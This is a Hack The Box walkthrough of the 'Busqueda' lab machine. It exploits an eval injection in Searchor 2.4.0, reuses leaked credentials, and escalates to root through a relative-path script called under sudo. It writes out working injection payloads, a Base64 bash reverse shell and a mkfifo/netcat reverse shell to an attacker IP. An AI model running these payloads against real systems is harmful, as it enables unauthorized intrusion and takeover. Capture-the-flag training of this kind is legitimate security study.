Join The Best Hacking Community Worldwide | Hack The Box
Over half a million platform members exhange ideas and methodologies. Be one of us and help the community grow even further!
www.hackthebox.com
Run a nmap scan
Add an entry for searcher.htb in the /etc/hosts file along with its corresponding IP address. This will enable the system to resolve the domain name and allow access to it via the browser.
echo "10.129.160.47 searcher.htb" | sudo tee -a /etc/hostsWhen visiting searcher.htb in the browser, the homepage of the "Searcher" app is displayed. This app functions as a search engine aggregator, enabling users to search for information across multiple search engines.
Users can choose a search engine, enter a query, and either be automatically redirected to the search results or receive a URL link to those results.
After clicking the "Search" button, the website generates and provides the URL corresponding to the selected search engine along with the entered query.
Note that the website's footer indicates that it is running on Flask and using Searchor version 2.4.0.
Clicking the "Searchor 2.4.0" hyperlink in the webpage footer redirects us to its GitHub repository, where we can view the changelog for various releases. Notably, there is a reference to a critical vulnerability being patched in version 2.4.2. Since the website is running version 2.4.0, it is likely vulnerable.
Upon reviewing the patch, it is clear that the pull request addresses a command injection vulnerability within the search functionality. This vulnerability arises from the use of an eval statement on unsanitised user input, making the site susceptible to exploitation.
By examining the specific commit, we can see that the vulnerable eval statement in the main.py file was replaced. This change is part of the patch that resolves the command injection vulnerability in the code.
To exploit this vulnerability, download the Searchor 2.4.0 module locally and review its code.
wget https://github.com/ArjunSharda/Searchor/archive/refs/tags/v2.4.0.zip
unzip v2.4.0.zipBy examining the main.py file, we can confirm that, as shown in the commit, user input is directly passed to an eval statement without any sanitisation. This is the source of the command injection vulnerability.
nano Searchor-2.4.0/src/searchor/main.pydef search(engine, query, open, copy):
try:
url = eval(
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
click.echo(url)
searchor.history.update(engine, query, url)searchor search Accuweather "test"
https://www.accuweather.com/en/search-locations?query=testIn the CLI tool, the engine and query parameters are the second and third arguments, and both can be used for command injection since they go straight into the eval statement. However, if you change the engine to something not on the predefined list, it causes an error. This means we need to focus on the query parameter for the injection. While eval doesn't usually allow multiple lines, there are ways around this. It's also important to make sure our payload doesn't mess up the earlier part of the eval statement. With these points in mind, we can create a payload that successfully injects commands and exploits the vulnerability.
') + str(__import__('os').system('id')) #To make sure the rest of the eval statement runs correctly, we can use the + operator to join the output of another line separately. The # symbol at the end acts as a comment, which ignores anything after it. The full command being evaluated would look like this:
url = eval(
Engine.<some_engine>.search('') + str(__import__('os').system('id')) #', copy_url=
{copy}, open_web={open})"
)Let’s test the payload and verify if the code injection works.
searchor search Google "')+ str(__import__('os').system('id'))#"
uid=1000(svc) gid=1000(svc) groups=1000(svc) https://www.google.com/search?q=0We have code execution as the user svc .
To use this into an interactive shell, we can start a Netcat listener on our local machine on port 1337.
nc -nvlp 1337Send the following Base64-encoded reverse shell payload in the query parameter on the Searcher website:
bash -i >& /dev/tcp/10.10.14.26/1337 0>&1
')+ str(__import__('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNi8xMzM3IDA+JjE=|base64 -d|bash'))#Obtain a reverse shell. Find user flag on /home/svc/user.txt
By listing the files on the remote host, we discover a set of credentials, cody:jh1usoih2bkjaspwe92, stored in the /var/www/app/.git/config file. This file also references the subdomain gitea.searcher.htb.
Try log in over SSH using cody:jh1usoih2bkjaspwe92. This did not work.
We can try to log in over SSH as user svc with the obtained password jh1usoih2bkjaspwe92 .
└─$ ssh svc@10.129.160.47
svc@busqueda:~$ ls
user.txt
svc@busqueda:~$ whoami
svcRun ss -ntplu to display detailed information about network connections and listening ports on a the host.
We can see that our host is listening to internal port 3000
Check /etc/apache2/sites-enabled/000-default.conf
Again, we see gitea.searcher.htb domain. Add an entry for it in our /etc/hosts file. Gitea is an open-source, self-hosted Git service that provides a lightweight web interface for managing Git repositories.
sudo echo "10.129.160.47 gitea.searcher.htb" | sudo tee -a /etc/hostsWhen navigating to gitea.searcher.htb in the browser, the Gitea homepage is displayed.
In the "Explore" section of the Gitea application, we can see that there are two users: cody and administrator.
Using the previously obtained credentials, we can log in as the user cody. Inside the account, we find a private repository named Searcher_site, which contains the source code for the Searcher web app.
Since we don't have the administrator's password, we can't access their private repositories, but it's important to note this for later if we manage to retrieve the password. Moving forward, by checking the sudo permissions for the svc user, we find that they can run the command /usr/bin/python3 /opt/scripts/system-checkup.py * with root privileges.
When trying to read the /opt/scripts/system-checkup.py file, we encounter a "permission denied" error because the svc user lacks the necessary permissions. The svc user only has execution rights for the file, not read access.
svc@busqueda:~$ ls -l /opt/scripts/system-checkup.py
-rwx--x--x 1 root root 1903 Dec 24 2022 /opt/scripts/system-checkup.pyRunning the Python script brings up a help menu that lists the available arguments that can be used with the script.
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
Upon reviewing the available arguments, the /opt/scripts/system-checkup.py script appears to allow inspection of the existing Docker containers. By using the docker-ps argument, it displays a list of all running containers.
The output from the docker-ps argument is similar to the result of running the docker ps command in the Docker utility. When executing the script with the docker-inspect argument, the usage information shows that it requires two additional arguments: format and the container name.
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>Although we know the container names, the format parameter's purpose is unclear. However, since the script's output from the docker-ps argument closely resembles the docker ps command, it's reasonable to assume that the docker-inspect argument in the script uses the docker inspect command from Docker. To understand the format parameter, we can refer to the usage information for the docker inspect command, which is available at Docker's documentation.
Docker uses Go templates to allow users to customise the output format of certain commands. The documentation specifically mentions the {{json .}} template, which displays all container information in JSON format. Therefore, we can use {{json .}} as the format argument required by the docker-inspect option of the script.
To easily read the JSON output, we can use jq to parse it into a more readable format. Although jq can be installed with a command, it is already available on the target machine.
sudo apt-get -y install jqLet’s run the script with docker-inspect, using {{json .}} for the format and the container name. This will give us detailed container info, and we can use jq to read it easily.
With the obtained password yuiu1hoiu4i5ho1uh, we can log into the Gitea application as the administrator user. This allows us to explore the private repositories, where we find a scripts repository. It contains the same files that we previously saw in the /opt/scripts directory on the remote host.
We should examine the system-checkup.py file, as we can run it with root privileges on the remote host. While analysing the code, we discover that the full-checkup argument, which we haven't tested yet, executes a bash script called full-checkup.sh.
What stands out is that the system-checkup.py script references the full-checkup.sh script using a relative path (./full-checkup.sh) instead of an absolute path (e.g., /opt/scripts/full-checkup.sh). This implies that the script tries to execute full-checkup.sh from the directory where system-checkup.py is run. The script runs successfully when executed from the /opt/scripts/ directory, where the full-checkup.sh file is located.
cd /opt/scripts/
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkupTo exploit the relative reference to full-checkup.sh, we can run the system-checkup.py script from another directory and use our own malicious version of full-checkup.sh. Let’s create a file in /tmp/full-checkup.sh and insert a reverse shell payload into it for execution.
echo -en "#! /bin/bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.26 443 >/tmp/f" > /tmp/full-checkup.sh
#rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <IP> <PORT> >/tmp/fMake /tmp/full-checkup.sh executable.
chmod +x /tmp/full-checkup.shStart a listener on port 443 to catch the reverse shell.
nc -nvlp 443To trigger the reverse shell, run the following command from the /tmp directory on the remote host:
cd /tmp
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkupAfter executing the command on the remote host, we successfully receive a root shell on our listener. The root flag can be located in /root/root.txt.
References
- Hack The Box Official Walkthrough